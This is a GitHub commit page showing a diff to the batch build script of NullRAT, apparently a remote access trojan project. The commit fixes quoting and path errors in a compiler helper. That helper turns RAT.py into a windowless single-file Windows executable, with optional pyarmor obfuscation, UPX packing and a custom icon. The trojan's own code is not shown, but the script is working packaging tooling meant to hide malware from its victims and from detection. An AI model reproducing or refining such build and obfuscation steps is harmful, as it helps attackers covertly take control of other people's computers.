Skip to content
This repository was archived by the owner on Mar 6, 2026. It is now read-only.

Commit 097b190

Browse files
authored
Fix \Common was unexpected at this time
1 parent 4d8ce78 commit 097b190

1 file changed

Lines changed: 17 additions & 16 deletions

File tree

NullRAT-Helpers/Compiler.bat

Lines changed: 17 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
@echo off & @title NullRAT Compiler & @color A
22
mode con: cols=87 lines=30
33
setlocal EnableDelayedExpansion
4+
chcp 65001
45

56
:start
67
cls
@@ -18,19 +19,19 @@ echo -----------
1819
echo.
1920

2021
choice /c YN /n /m "Do you want to obfuscate the executable? [Y/N]: "
21-
if %errorlevel%==1 (set pyarmor=yes) else (set pyarmor=no)
22+
if %errorlevel%==1 (set "pyarmor=yes") else (set "pyarmor=no")
2223

2324
choice /c YN /n /m "Do you want to compress the executable? [Y/N]: "
24-
if %errorlevel%==1 (set upxdd=yes) else (set upxdd=no)
25+
if %errorlevel%==1 (set "upxdd=yes") else (set "upxdd=no")
2526

2627
choice /c YN /n /m "Do you want to add a custom icon? [Y/N]: "
27-
if %errorlevel%==1 (set icon=yes) else (set icon=no)
28+
if %errorlevel%==1 (set "icon=yes") else (set "icon=no")
2829

29-
echo. & echo All options selected: & echo ------------------------------------------
30-
echo Obfuscating the executable=%pyarmor%
31-
echo Compressing the executable=%upxdd%
32-
echo Adding a custom icon to the executable=%icon%
33-
echo ------------------------------------------
30+
echo. & echo All options selected: & echo --------------------------------------------
31+
echo Obfuscating the executable="%pyarmor%"
32+
echo Compressing the executable="%upxdd%"
33+
echo Adding a custom icon to the executable="%icon%"
34+
echo --------------------------------------------
3435

3536
echo. & choice /c YN /n /m "Are all these options correct? [Y/N]: "
3637
if %errorlevel%==2 (goto start) else (goto compile)
@@ -51,26 +52,26 @@ echo ^|_^|
5152

5253
echo ==================================================================================== & echo.
5354

54-
cd "%~dp0NullRAT\"
55-
if %icon%==yes (
55+
cd "%~dp0\NullRAT\"
56+
if "!icon!"=="yes" (
5657
set /P "iconP=Please type the path of the custom icon: "
57-
move "!iconP!" "%~dp0NullRAT\custom_icon.ico"
58+
move "!iconP!" "%~dp0\NullRAT\custom_icon.ico"
5859
)
59-
if %upxdd%==yes (set path=%path%;%~dp0NullRAT\upx)
60+
if "!upxdd!"=="yes" (set "path=!path!;%~dp0\NullRAT\upx")
6061

61-
if %pyarmor%==yes (
62-
if %icon%==yes (
62+
if "!pyarmor!"=="yes" (
63+
if "!icon!"=="yes" (
6364
pyarmor pack -e " --onefile --noconsole --icon=custom_icon.ico " RAT.py
6465
) else (
6566
pyarmor pack -e " --onefile --noconsole " RAT.py
6667
)
6768
) else (
68-
if %icon%==yes (
69+
if "!icon!"=="yes" (
6970
pyinstaller --onefile --noconsole --icon=custom_icon.ico RAT.py
7071
) else (
7172
pyinstaller --onefile --noconsole RAT.py
7273
)
7374
)
7475

75-
move dist\RAT.exe "%~dp0" & echo.
76+
move dist\RAT.exe "%~dp0\" & echo.
7677
timeout /t 5 & EXIT

0 commit comments

Comments
 (0)